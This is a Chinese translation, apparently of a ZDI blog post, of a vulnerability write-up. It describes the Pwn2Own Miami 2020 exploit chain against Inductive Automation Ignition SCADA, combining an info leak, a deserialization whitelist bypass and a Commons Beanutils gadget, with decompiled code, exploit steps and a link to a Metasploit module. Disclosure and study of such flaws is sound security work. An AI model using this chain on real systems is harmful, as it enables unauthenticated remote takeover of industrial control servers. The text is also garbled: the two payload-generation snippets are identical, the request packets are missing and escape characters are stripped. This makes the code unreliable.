2020年1月,在S4會議上舉行了首屆Pwn2Own Miami比賽,目標是工業控制系統(ICS)產品。在比賽中,佩德羅·裏貝羅(Pedro Ribeiro)和拉德克·多曼斯基(Radek Domanski)的團隊使用了信息泄漏和反序列化漏洞,以在Inductive Automation Ignition 系統上執行代碼。他們在比賽第一天贏得了25,000美元。現在可以從供應商處獲得補丁程序,他們已經分享了以下漏洞利用代碼和演示視頻。

這篇文章描述了Pedro Ribeiro(@ pedrib1337)和Radek Domanski(@RabbitPro)發現的一系列Java漏洞。這些漏洞已在一月份在ZDI的Pwn2Own Miami 2020比賽中使用。所描述的漏洞存在於8.0.0版(含8.0.7)及更高版本的Inductive Automation Ignition SCADA產品中。該漏洞最近由供應商發佈了補丁,該供應商建議用戶升級到8.0.10版本。以下是這些漏洞的驗證視頻:

https://youtu.be/CuOancRm1fg

Automation Ignition 的默認配置可供未經身份驗證的攻擊者利用,成功的利用將實現Windows上的SYSTEM或Linux上的root的遠程代碼執行。

該漏洞利用鏈上的三個漏洞來實現代碼執行:

1.未經授權訪問敏感資源。2.不安全的Java反序列化。3.使用不安全的Java庫。

該博客中的所有代碼段都是通過反編譯8.0.7版中的JAR文件獲得的。

0x01 漏洞詳情

在深入研究漏洞之前,讓我們介紹一下有關Automation Ignition 和/system/gateway端點的背景信息。Automation Ignition 偵聽大量的TCP和UDP端口,因爲除了其主要功能外,它還必須處理多種SCADA協議。

主要端口是TCP 8088和TCP / TLS 8043,它們用於通過HTTP(S)控制管理服務器並處理各種Ignition組件之間的通信。

有多個API端點正在偵聽該端口,但我們關注的是在/system/gateway。該API端點允許用戶執行遠程功能調用。未經身份驗證的用戶只能調用少數幾個。該Login.designer()函數是其中之一。它使用包含序列化Java對象的XML與客戶端進行通信。它的代碼位於com.inductiveautomation.ignition.gateway.servlets.Gateway類中。

通常,使用序列化的Java對象執行客戶端-服務器通信可以導致直接執行代碼,但是在這種情況下,並不是那麼簡單。在深入探討之前,讓我們看一下Login.designer()請求的數據信息:

響應包:

請求和響應包含序列化的Java對象,這些對象傳遞給可以遠程調用的函數。上面的示例顯示了對帶有四個參數designer()的com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login類的函數的調用。

調用堆棧Login.designer()如下:

com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()`

`com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()`

`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()

該Gateway.doPost()服務程序執行一些版本和完整性檢查然後將請求發送到AbstractGatewayFunction.invoke(),其分析和驗證它之前調用Login.designer(),如下圖所示:

public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {

String funcName = msg.getArg("subFunction")

AbstractGatewayFunction.SubFunction function = null

if (TypeUtilities.isNullOrEmpty(funcName)) {

function = this.defaultFunction

} else {

function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName)

}

if (function == null) {

Gateway.printError(out, 500, "Unable to locate function "" + this.getFunctionName(funcName) + """, (Throwable)null)

} else if (function.reflectionErrorMessage != null) {

Gateway.printError(out, 500, "Error loading function "" + this.getFunctionName(funcName) + """, (Throwable)null)

} else {

Set classWhitelist = null

int i

Class argType

if (!this.isSessionRequired()) {

classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST)

Class[] var9 = function.params

int var10 = var9.length

for(i = 0 i &lt var10 ++i) {

argType = var9[i]

classWhitelist.add(argType)

}

if (function.retType != null) {

classWhitelist.add(function.retType)

}

}

List argList = msg.getIndexedArg("arg")

Object[] args

if (argList != null &amp&amp argList.size() != 0) {

args = new Object[argList.size()]

for(i = 0 i &lt argList.size() ++i) {

if (argList.get(i) == null) {

args[i] = null

} else {

try {

args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist)

} catch (ClassNotFoundException | IOException var15) {

ClassNotFoundException cnfe = null

if (var15.getCause() instanceof ClassNotFoundException) {

cnfe = (ClassNotFoundException)var15.getCause()

} else if (var15 instanceof ClassNotFoundException) {

cnfe = (ClassNotFoundException)var15

}

if (cnfe != null) {

Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe)

} else {

Gateway.printError(out, 500, "Unable to read argument", var15)

}

return

}

}

}

} else {

args = new Object[0]

}

if (args.length != function.params.length) {

String var10002 = this.getFunctionName(funcName)

Gateway.printError(out, 202, "Function "" + var10002 + "" requires " + function.params.length + " arguments, got " + args.length, (Throwable)null)

} else {

for(i = 0 i &lt args.length ++i) {

argType = function.params[i]

if (args[i] != null) {

try {

args[i] = TypeUtilities.coerce(args[i], argType)

} catch (ClassCastException var14) {

Gateway.printError(out, 202, "Function "" + this.getFunctionName(funcName) + "" argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14)

return

}

}

}

try {

Object[] fullArgs = new Object[args.length + 3]

fullArgs[0] = context

fullArgs[1] = session

fullArgs[2] = projectName

System.arraycopy(args, 0, fullArgs, 3, args.length)

if (function.isAsync) {

String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs))

Gateway.printAsyncCallResponse(out, uid)

return

}

Object obj = function.method.invoke(this, fullArgs)

if (obj instanceof Dataset) {

Gateway.datasetToXML(out, (Dataset)obj)

out.println("0")

} else {

Serializable retVal = (Serializable)obj

Gateway.printSerializedResponse(out, retVal)

}

} catch (Throwable var16) {

Throwable ex = var16

Throwable cause = var16.getCause()

if (var16 instanceof InvocationTargetException &amp&amp cause != null) {

ex = cause

}

int errNo = 500

if (ex instanceof GatewayFunctionException) {

errNo = ((GatewayFunctionException)ex).getErrorCode()

}

LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex)

Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex)

}

}

}

}

此函數執行以下操作:

1-解析收到的消息。2-標識要調用的函數。3-檢查函數參數以確定是否可以安全地反序列化。4-確保參數數量與目標函數的預期數量相對應。5-調用帶有反序列化參數的函數。6-將響應發送回客戶端。

在反序列化之前,請檢查參數以確保它們包含“安全”對象。這是通過decodeToObjectFragile()從調用com.inductiveautomation.ignition.common.Base64來完成的。此函數有兩個參數:帶有Base64編碼對象的String和可以反序列化的允許的類列表。

public static Object decodeToObjectFragile(String encodedObject, Set classWhitelist) throws ClassNotFoundException, IOException {

byte[] objBytes = decode(encodedObject, 2)

ByteArrayInputStream bais = null

ObjectInputStream ois = null

Object obj = null

try {

bais = new ByteArrayInputStream(objBytes)

if (classWhitelist != null) {

ois = new SaferObjectInputStream(bais, classWhitelist)

} else {

ois = new ObjectInputStream(bais)

}

obj = ((ObjectInputStream)ois).readObject()

} finally {

try {

bais.close()

} catch (Exception var15) {

}

try {

((ObjectInputStream)ois).close()

} catch (Exception var14) {

}

}

return obj

}

如上所示,如果decodeToObjectFragile()接收null而不是允許的類列表,它將使用 ObjectInputStream來反序列化對象,並帶來所有的問題和不安全性。但是,如果指定了允許列表,則decodeToObjectFragile使用SaferObjectInputStream該類反序列化對象。

SaferObjectInputStream類是一個包裝ObjectInputStream被反序列的類的每個對象。如果該類不是允許列表的一部分,則它會拒絕所有輸入並在發生任何有害影響之前終止處理。如下所示:

public class SaferObjectInputStream extends ObjectInputStream {

public static final Set DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class})

private final Set whitelist

public SaferObjectInputStream(InputStream in) throws IOException {

this(in, DEFAULT_WHITELIST)

}

public SaferObjectInputStream(InputStream in, Set whitelist) throws IOException {

super(in)

this.whitelist = new HashSet()

Iterator var3 = whitelist.iterator()

while(var3.hasNext()) {

Class c = (Class)var3.next()

this.whitelist.add(c.getName())

}

}

protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {

ObjectStreamClass ret = super.readClassDescriptor()

if (!this.whitelist.contains(ret.getName())) {

throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()))

} else {

return ret

}

}

}

從上面的代碼段可以看出,默認的允許列表(DEFAULT_WHITELIST)非常嚴格。它僅允許反序列化以下對象類型:

-- String

-- Byte

-- Short

-- Integer

-- Long

-- Number

-- Float

-- Double

-- Boolean

-- Date

-- Color

-- ArrayList

-- HashMap

-- Enum

由於這些都是非常簡單的類型,因此這裏描述的機制是阻止大多數Java反序列化攻擊的有效方法。

不能解釋Java反序列化,其發生的方式以及可能造成的破壞性。如果你有興趣閱讀更多有關它的內容,請查看Java Unmarshaller Security或此Foxglove Security文章。現在,讓我們進入在Pwn2Own使用的漏洞利用鏈。

https://github.com/mbechler/marshalsec

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

漏洞1:未經授權訪問敏感資源

該鏈中的第一個漏洞是信息泄漏,但未在我們的利用中使用。未經身份驗證的攻擊者可以調用“project diff”函數來獲取有關project的關鍵信息。在我們的案例中,我們將其用作攻擊其他函數的跳板。

com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload類包含許多是通過未經身份驗證的遠程攻擊者可訪問操作。其中之一是getDiffs(),如下所示:

@GatewayFunction

public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {

try {

List snapshots = (List)Base64.decodeToObjectFragile(projectSnapshotsBase64)

RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -&gt new ProjectNotFoundException(sessionProject))).validateOrThrow()

List diffs = context.getProjectManager().pull(snapshots)

return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs))

} catch (Exception e) {

throw new GatewayFunctionException(500, "Unable to load project diff.", e)

}

}

如上所示,此函數將提供的數據與服務器中的項目數據進行比較,並返回差異。如果攻擊者提供了有效的project名稱,則可能會誘騙服務器移交所有project數據。

同樣,此函數未在漏洞利用程序中使用。而是將此函數用作進一步攻擊系統的跳板,下面將對此進行進一步說明。

漏洞2:不安全的Java反序列化

從代碼片段6中可以看出,ProjectDownload.getDiffs()使用Base64.decodeToObjectFragile()函數來解碼project數據。片段4中已經解釋了此函數。如上所述,如果該函數的第二個參數中沒有提供類允許列表,則它將使用標準的不安全ObjectInputStream類來解碼給定對象。這導致了一個經典的Java反序列化漏洞,當與最終漏洞鏈接時,最終會導致遠程執行代碼。

漏洞3:使用不安全的Java庫

該鏈中的最後一個鏈接是將Java類與易受攻擊的Java gadget對象一起濫用,這些對象可用於實現遠程代碼執行。對我們來說幸運的是,Automation Ignition 就是這樣。它使用了非常老的Apache Commons Beanutils版本1.9.2,該版本來自2013。

在著名的ysererial Java反序列化開發工具,此庫有一個payload。

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

0x02 漏洞利用開發

總而言之,要實現遠程代碼執行,我們需要執行以下操作:

1-創建一個ysoserial CommonsBeanutils1 payload。2-Base64編碼payload。3-將payload封裝在Java String對象中。4-使用標準Java序列化功能序列化String對象。5-Base64編碼序列化的String對象。6-發送請求getDiffs()以調用/system/gateway惡意參數。

我們能夠繞過序列化白名單並執行我們的代碼!但是如何繞過?讓我們深入研究。

我們的payload將具有以下格式:

base64(String(base64(YSOSERIAL_PAYLOAD))

片段3中顯示的代碼將對其執行Base64解碼,這將導致:

String(base64(YSOSERIAL_PAYLOAD))

這是根據上一節中顯示的白名單進行檢查的,因爲它是String類,所以可以反序列化。然後我們進入ProjectDownload.getDiffs()。它使用我們的String參數,Base64.decodeToObjectFragile()在不指定白名單的情況下對其進行調用。

如代碼片段4所示,這將使Base64解碼String,然後ObjectInputStream.readObject()在我們的惡意對象(YSOSERIAL_PAYLOAD)上調用,從而導致代碼執行!

生成 payload

要創建payload,我們首先調用ysoserial,如下所示:

public static void main(String[] args) {

try {

String payload = ""

ByteArrayOutputStream bos = new ByteArrayOutputStream()

ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)

objectOutputStream.writeObject(payload)

objectOutputStream.close()

byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())

FileOutputStream fos = new FileOutputStream("/tmp/output")

fos.write(encodedBytes)

fos.close()

bos.close()

} catch (Exception e) {

e.printStackTrace()

}

}

然後,可以使用以下Java代碼將payload封裝在String中並將其序列化到磁盤:

public static void main(String[] args) {

try {

String payload = ""

ByteArrayOutputStream bos = new ByteArrayOutputStream()

ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos)

objectOutputStream.writeObject(payload)

objectOutputStream.close()

byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray())

FileOutputStream fos = new FileOutputStream("/tmp/output")

fos.write(encodedBytes)

fos.close()

bos.close()

} catch (Exception e) {

e.printStackTrace()

}

}

在此代碼中,&lt YSOSERIAL_BASE64_PAYLOAD &gt應包含Snippet 7的輸出。

最後,我們將以下請求發送到目標:

該&lt PAYLOAD &gt會包含運行的輸出片段8。目標將響應:

響應包含一個堆棧跟蹤,指示出了問題,但是palaod已作爲SYSTEM(或Linux的根)執行。

使用Snippet 7中提供的payload後,文件C:flashback.txt中將顯示文本nt authoritysystem。這表明我們已經實現了未經身份驗證的遠程代碼執行。

0x03 分析總結

我們希望你喜歡我們在Pwn2Own Miami使用的漏洞利用。廠商在8.0.10版本中修復了這些漏洞。此版本包含許多其他修復程序以及新功能。如果你想測試自己的系統,爲方便起見,我們發佈了Metasploit模塊。你可以在上面的視頻中看到它的測試情況.

https://raw.githubusercontent.com/thezdi/PoC/master/ZDI-20-685/ignition_automation_rce.rb

參考及來源:https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami

聲明:轉載此文是出於傳遞更多信息之目的。若有來源標註錯誤或侵犯了您的合法權益,請作者持權屬證明與本網聯繫,我們將及時更正、刪除,謝謝。 郵箱地址:[email protected]

相關文章